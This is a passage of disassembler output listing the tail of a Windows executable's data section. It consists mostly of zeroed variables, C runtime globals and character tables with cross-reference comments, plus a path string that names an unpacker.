; sub_40ED21+53r ...
dword_430554 dd 0 ; DATA XREF: sub_4022E3+122w
; sub_4022E3+242w ...
byte_430558 db 0 ; DATA XREF: sub_409277+91o
; sub_409557+2BB7r ...
align 4
dd 547Dh dup(0)
dword_445750 dd 0BE60h dup(0) ; DATA XREF: .data:off_41FCD4o
dword_4750D0 dd 1Ch ; DATA XREF: sub_4021A2:loc_402210r
; WinMain(x,x,x,x)+3Dw ...
align 8
dword_4750D8 dd 0 ; DATA XREF: WinMain(x,x,x,x):loc_409189o
; char byte_4750DC[]
byte_4750DC db 80h dup(0) ; DATA XREF: WinMain(x,x,x,x)+509o
; WinMain(x,x,x,x)+5C2o ...
; char byte_47515C[]
byte_47515C db 40h dup(0) ; DATA XREF: WinMain(x,x,x,x)+520o
; char byte_47519C[]
byte_47519C db 90h dup(0) ; DATA XREF: WinMain(x,x,x,x)+537o
dword_47522C dd 0 ; DATA XREF: WinMain(x,x,x,x)+52Bw
; WinMain(x,x,x,x)+5D9w ...
dword_475230 dd 0 ; DATA XREF: WinMain(x,x,x,x)+54Aw
align 10h
byte_475240 db 0 ; DATA XREF: sub_4093DF+28r
; sub_4093DF+30o
align 4
; char byte_475244
byte_475244 db 0 ; DATA XREF: WinMain(x,x,x,x):loc_409213r
; WinMain(x,x,x,x)+609o
align 4
; char byte_475248[]
byte_475248 db 4 dup(0) ; DATA XREF: WinMain(x,x,x,x)+61Fo
; char byte_47524C[]
byte_47524C db 4 dup(0) ; DATA XREF: WinMain(x,x,x,x)+631o
dword_475250 dd 0 ; DATA XREF: WinMain(x,x,x,x)+576w
; WinMain(x,x,x,x)+58Dr ...
dword_475254 dd 0 ; DATA XREF: WinMain(x,x,x,x)+50Ew
; sub_409557+828r
; char byte_475258[]
byte_475258 db 4 dup(0) ; DATA XREF: sub_409557+52BAo
; ___crtLCMapStringA+57o ...
dword_47525C dd 0 ; DATA XREF: sub_40EDBE:loc_40EDDFr
; sub_40EEAD+54r ...
dword_475260 dd 0 ; DATA XREF: sub_40EDBEr
; sub_40EEAD+37r ...
dword_475264 dd 0 ; DATA XREF: sub_40EDEE+1Ar
; sub_40F002+83o
dword_475268 dd 0 ; DATA XREF: sub_40EDBE:loc_40EDD2r
; sub_40F002+11Bw
; char byte_47526C[]
byte_47526C db 34h dup(0) ; DATA XREF: sub_40EEAD+13o
; sub_40F002:loc_40F13Fo
; int dword_4752A0
dword_4752A0 dd 0 ; DATA XREF: sub_40EEAD+CDr
; sub_40EEAD+ECr ...
align 10h
dword_4752B0 dd 0 ; DATA XREF: sub_40F1B7+146r
align 8
; char byte_4752B8[]
byte_4752B8 db 18h dup(0) ; DATA XREF: sub_40FAA1+8Do
dword_4752D0 dd 0 ; DATA XREF: sub_411E82+16o
; sub_411EA1+19o
dword_4752D4 dd 7Ah dup(0) ; DATA XREF: sub_411E35+3Do
byte_4754BC db 0 ; DATA XREF: sub_4102EE+6Ar
; sub_4102EE+98w
align 10h
dd 0
; char byte_4754C4[]
byte_4754C4 db 3Ch dup(0) ; DATA XREF: sub_410D66+47o
dword_475500 dd 0 ; DATA XREF: __fpmath+Aw
align 8
dword_475508 dd 0 ; DATA XREF: _time+5Er _time+A4w
align 10h
word_475510 dw 0 ; DATA XREF: _time+55r _time+9Ao
word_475512 dw 0 ; DATA XREF: _time+48r
db 2 dup(0)
word_475516 dw 0 ; DATA XREF: _time+3Br
word_475518 dw 0 ; DATA XREF: _time+2Er
word_47551A dw 0 ; DATA XREF: _time+21r
align 10h
dword_475520 dd 0 ; DATA XREF: _strtok+3Br _strtok+91w
dword_475524 dd 0 ; DATA XREF: sub_412EA4+2Bw
; _strtoxl+1B9w ...
dword_475528 dd 0 ; DATA XREF: sub_412EA4+35w
; __close:loc_415E98w ...
dword_47552C dd 0 ; DATA XREF: __sopen+13Ar
dword_475530 dd 0A28h ; DATA XREF: start+52w
dword_475534 dd 501h ; DATA XREF: start+49w
dword_475538 dd 5 ; DATA XREF: start+3Ew
dword_47553C dd 1 ; DATA XREF: start+30w
dword_475540 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_408F0Dr
; __setargv+91w
dword_475544 dd 480B00h ; DATA XREF: WinMain(x,x,x,x)+2FEr
; WinMain(x,x,x,x)+31Er ...
dd 0
; void *dword_47554C
dword_47554C dd 480A80h ; DATA XREF: __setenvp+44w _getenv+9r ...
dword_475550 dd 0 ; DATA XREF: ___crtsetenv+36r
dword_475554 dd 0 ; DATA XREF: _getenv+16r
; ___wtomb_environ+4r ...
dd 0
off_47555C dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_475564 db 0 ; DATA XREF: _doexit+2Dw
; ___endstdio+5r
align 4
dword_475568 dd 0 ; DATA XREF: _doexit+27w
dword_47556C dd 0 ; DATA XREF: _doexit+4r _doexit+8Bw
; void *Memory
Memory dd 0 ; DATA XREF: start+84w
; __setenvp:loc_4176ACr ...
align 8
dword_475578 dd 0 ; DATA XREF: __amsg_exitr
; _fast_error_exitr ...
dword_47557C dd 0 ; DATA XREF: _mallocr
; _realloc:loc_412DC4r ...
dword_475580 dd 0 ; DATA XREF: __callnewhr
dword_475584 dd 0 ; DATA XREF: __cftoe+11r __cftof+1Ar ...
byte_475588 db 0 ; DATA XREF: __cftoe+3r __cftoe+98r ...
align 4
dword_47558C dd 0 ; DATA XREF: __cftof+11r __cftog+21w ...
byte_475590 db 0 ; DATA XREF: __cftog+51w
align 4
dword_475594 dd 1 ; DATA XREF: ___crtLCMapStringA+28r
; ___crtLCMapStringA+4Cw ...
align 10h
dword_4755A0 dd 0 ; DATA XREF: _tolower+4r _tolower+9Dr ...
align 10h
dword_4755B0 dd 0 ; DATA XREF: _mbstowcs+61r
; _mbstowcs+BFr ...
align 8
dword_4755B8 dd 1 ; DATA XREF: __setmbcp:loc_416F13r
; _getSystemCP+4w ...
dword_4755BC dd 0 ; DATA XREF: __stbuf+37r
dd 0
dword_4755C4 dd 0 ; DATA XREF: __XcptFilter+3Ar
; __XcptFilter+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_41776Ao
; .data:off_47555Co
align 4
dd 3Ah dup(0)
dword_4756CC dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r
; ___crtGetEnvironmentStringsA+23w ...
dword_4756D0 dd 0 ; DATA XREF: __FF_MSGBANNER+21r
dword_4756D4 dd 0 ; DATA XREF: __openfile+154w
; __stbuf:loc_41722Bw ...
dword_4756D8 dd 1 ; DATA XREF: ___crtGetStringTypeA+26r
; ___crtGetStringTypeA:loc_418837w
dword_4756DC dd 0 ; DATA XREF: __openfile+7r
word_4756E0 dw 0 ; DATA XREF: __fltout+1Ao __fltout+46r
byte_4756E2 db 0 ; DATA XREF: __fltout+39r
align 4
dword_4756E4 dd 7 dup(0) ; DATA XREF: __fltout+52o
dword_475700 dd 0 ; DATA XREF: __fltout+40w __fltout+5Co
dword_475704 dd 0 ; DATA XREF: __fltout+4Dw
dword_475708 dd 0 ; DATA XREF: __fltout+31w
dword_47570C dd 0 ; DATA XREF: __fltout+52w
dword_475710 dd 0 ; DATA XREF: __tzset+11w __tzset+63w ...
align 8
dword_475718 dd 0 ; DATA XREF: __tzset+33o __tzset+46r
dword_47571C dd 10h dup(0) ; DATA XREF: __tzset+C1o
word_47575C dw 0 ; DATA XREF: __isindst+A8r
word_47575E dw 0 ; DATA XREF: __tzset+54r __isindst+DBr ...
word_475760 dw 0 ; DATA XREF: __isindst+CAr
word_475762 dw 0 ; DATA XREF: __isindst+D3r
; __isindst:loc_41983Ar
word_475764 dw 0 ; DATA XREF: __isindst+C0r
word_475766 dw 0 ; DATA XREF: __isindst+B8r
word_475768 dw 0 ; DATA XREF: __isindst+B0r
word_47576A dw 0 ; DATA XREF: __isindst+9Er
dword_47576C dd 0 ; DATA XREF: __tzset+4Br
dword_475770 dd 10h dup(0) ; DATA XREF: __tzset+FBo
word_4757B0 dw 0 ; DATA XREF: __isindst+46r
word_4757B2 dw 0 ; DATA XREF: __tzset:loc_419561r
; __isindst+78r ...
word_4757B4 dw 0 ; DATA XREF: __isindst+67r
word_4757B6 dw 0 ; DATA XREF: __isindst+70r
; __isindst:loc_4197CCr
word_4757B8 dw 0 ; DATA XREF: __isindst+5Dr
word_4757BA dw 0 ; DATA XREF: __isindst+55r
word_4757BC dw 0 ; DATA XREF: __isindst+4Dr
word_4757BE dw 0 ; DATA XREF: __isindst+3Er
dword_4757C0 dd 0 ; DATA XREF: __tzset+80r
; void *dword_4757C4
dword_4757C4 dd 0 ; DATA XREF: __tzset+132r
; __tzset:loc_419636r ...
dword_4757C8 dd 0 ; DATA XREF: ___tzsetr ___tzset+Ew
dword_4757CC dd 0 ; DATA XREF: ___crtMessageBoxA+3r
; ___crtMessageBoxA+2Ew ...
dword_4757D0 dd 0 ; DATA XREF: ___crtMessageBoxA+43w
; ___crtMessageBoxA:loc_419AC5r
dword_4757D4 dd 0 ; DATA XREF: ___crtMessageBoxA+4Aw
; ___crtMessageBoxA+60r
dword_4757D8 dd 0 ; DATA XREF: __sopen+3Fr
dword_4757DC dd 0 ; DATA XREF: ___crtCompareStringA+28r
; ___crtCompareStringA+48w ...
dword_4757E0 dd 344968h ; DATA XREF: _flsall:loc_415F8Dr
; __getstream+14r ...
dd 7 dup(0)
dword_475800 dd 400h dup(0) ; DATA XREF: .data:off_4286D0o
; .data:004286D8o
; size_t NumOfElements
NumOfElements dd 200h ; DATA XREF: _flsall+9r _flsall+56r ...
dd 7 dup(0)
dword_476820 dd 480EF0h ; DATA XREF: __flsbuf+B1r __filbuf+75r ...
dword_476824 dd 3Fh dup(0) ; DATA XREF: __ioinit+92o
dword_476920 dd 20h ; DATA XREF: __close+8r __read+Cr ...
dword_476924 dd 4E4h ; DATA XREF: __setmbcp+14r
; __setmbcp+65w ...
align 10h
dword_476930 dd 3 dup(0) ; DATA XREF: __setmbcp+123o
; __setmbcp+171o ...
dword_47693C dd 0 ; DATA XREF: __setmbcp+108w
; __setmbcp+15Dw ...
byte_476940 db 0 ; DATA XREF: _setSBUpLow:loc_4170E3w
; _setSBUpLow:loc_417100w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_476A40 db 0 ; DATA XREF: __setmbcp+5Co
; __setmbcp+AFo ...
byte_476A41 db 0 ; DATA XREF: __splitpath+5Dr
; __setmbcp+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_476B44 dd 0 ; DATA XREF: __setmbcp+6Ew
; __setmbcp+12Bw ...
dword_476B48 dd 10h ; DATA XREF: ___sbh_heap_init+32w
; ___sbh_alloc_new_region+5r ...
dword_476B4C dd 0 ; DATA XREF: ___sbh_free_block+239r
; ___sbh_free_block+259r ...
dword_476B50 dd 340650h ; DATA XREF: ___sbh_heap_init+2Dw
; ___sbh_free_block+310w ...
; void *Dst
Dst dd 0 ; DATA XREF: ___sbh_heap_init:loc_413E97w
; ___sbh_free_block+22Cr ...
dword_476B58 dd 1 ; DATA XREF: ___sbh_heap_init+24w
; ___sbh_find_blockr ...
dword_476B5C dd 340650h ; DATA XREF: ___sbh_heap_init+15w
; ___sbh_find_block+8r ...
dword_476B60 dd 340000h ; DATA XREF: __heap_alloc+28r
; _free+21r ...
dword_476B64 dd 142340h ; DATA XREF: start+7Aw __wincmdln+Fr ...
dword_476B68 dd 1 ; DATA XREF: __setenvp+ADw _getenvr
dword_476B6C dd 1 ; DATA XREF: ___initmbctabler
; ___initmbctable+11w ...
dword_476B70 dd 0 ; DATA XREF: _doexit+3Er
dword_476B74 dd 0 ; DATA XREF: _doexit+35r _doexit+57r
_data ends
; Section 4. (virtual address 00077000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00076C00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 477000h
align 2000h
_idata2 ends
end start